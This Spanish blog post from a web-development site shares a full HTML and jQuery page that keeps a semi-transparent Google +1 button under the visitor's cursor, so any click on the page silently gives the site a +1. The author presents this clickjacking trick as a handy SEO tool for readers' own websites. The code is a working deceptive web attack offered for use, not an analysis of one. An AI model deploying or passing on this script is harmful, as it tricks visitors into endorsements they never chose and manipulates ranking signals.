Saltar al contenido
Codifíca.me | Desarrollo web | Programación
SEO

Script Google plus oculto en la página web

12 agosto, 2015

En esta entrada recopilo el script de Google plus oculto, el típico que cuando llegan visitantes a tu web y hacen click en cualquier parte de la web en realidad te están dando un más 1.

Lo tenía un poco olvidado de otra web que lo encontré, lo comparto para que no tenga que buscarlo nuevamente 😉

Espero que os sea útil para vuestras web.

<html> 
<head> 
	<script src="jquery-1.4.2.min.js" type="text/javascript"></script>
	<script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script> 
	<style> 
		html, body { margin: 0; padding: 0; width: 100%; height: 100%; overflow: hidden; }
		div.wrapper { width: 100%; height: 100%; overflow: auto; }
		img.bg { min-height: 100%; min-width: 1024px; width: 100%; height: 100%; position: fixed; top: 0; left: 0; z-index: 0; }
		@media screen and (max-width: 1024px) { img.bg { left: 50%; margin-left: -512px; } }
		#content { text-align: center; position: absolute; width: 100%; height: 100%; top: 0; left: 0; color: #fff; font-family: 'palatino linotype', palatino; font-weight: normal; text-align: left; text-shadow: 0 1px 0 #000; z-index: 10; }
		#content .description { position: relative; width: 580px; left: 50%; margin-left: -290px; }
		#content .description h1 { font-size: 32px; }
		#content .description .warning { color: #f00; }
		#content .description .ocult, #content .description a { font-size: 22px; color: #fff; text-decoration: underline; }
		#content .description .footer, #content .description .footer a { font-size: 10px; }
	</style> 
</head> 
<body><span id="ocult" class="ocult">
	<div id="content"> 
			<div align="center">
			<br><img src="http://imagen-o-lo-que-quieras.jpg">
	        </div>
 
	</div> 
	<div id="wrapper" style="position: absolute; opacity: 0.5; filter: alpha(opacity = 50); margin-left: -50px; z-index: 100;"> 
<g:plusone></g:plusone> 
	</div> 
	<script type="text/javascript"> 
		jQuery( document ).ready( function() {
			$( "#ocult" ).mousemove( function( e ) {
				$( '#wrapper' ).css( {
					top: e.pageY - 17,
					left: e.pageX + 28
				} );
			} );
		} )
	</script> 
 
</span></body> 
</html>